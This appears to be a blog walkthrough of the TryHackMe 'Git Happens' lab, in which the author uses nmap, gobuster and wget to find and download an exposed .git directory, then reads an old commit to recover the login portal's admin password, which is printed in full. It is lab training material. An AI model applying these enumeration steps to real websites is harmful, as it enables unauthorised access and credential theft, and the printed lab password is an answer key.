Tryhackme - Git Happens

Tryhackme – Git Happens

In this walk through, we will be going through the Git Happens room from Tryhackme. In this room, we will exploit common git misconfiguration and get the admin password for the web app login portal. So, let’s get started without any delay.

Git Happens

Machine Info:

TitleGit Happens
ObjectiveBoss wanted me to create a prototype, so here it is! We even used something called “version control” that made deploying this really easy!


  • I started off with my regular nmap scan and found the HTTP port 80 opened.

sudo nmap -sS -sV

nmap scan

  • The web server has a web login page which requires credentials to move further.

Login panel

  • Next, i used gobuster to bruteforce some directories and fount /.git/HEAD directory.

wh1terose@fsociety:~$ gobuster dir -u -w ~/Desktop/Wordlist/common.txt 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/wh1terose/Desktop/Wordlist/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2023/11/01 09:30:05 Starting gobuster in directory enumeration mode
/.git/HEAD            (Status: 200) [Size: 23]
/css                  (Status: 301) [Size: 194] [-->]
/index.html           (Status: 200) [Size: 6890]                               
2023/11/01 09:31:47 Finished

gobuster scan

  • The found directory downloads a file named HEAD which contains a referrer URL.



  • By going to the root of the .git directory we found whole bunch of files.

Index of /.git/

  • Next i downloaded the contents of the .git directory to my local machine for further inspection.

wget --mirror

wget .git

  • Checked the git log using the below command and got an entry which talks about the login page.

git log

commit 395e087334d613d5e423cdf8f7be27196a360459

  • Took a dive further in this commit which then reveals the username and password for the login page.

git show 395e087334d613d5e423cdf8f7be27196a360459

admin login password

  • admin:Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!

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So that was “Git Happens” for you. We started off with a regular nmap scan and found port 80 opened. Enumerating the web server on port 80 and found a login page. Further, fired up gobuster on the webserver and found a /.git/HEAD directory. Moving on, we downloaded the whole git directory to our local system and then used git log command to see the previous commits. One commit stood out as it was talking about the login panel password. Looked more into it and found the admin password and my father’s will in which he had passed his inherited wealth to our dog. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

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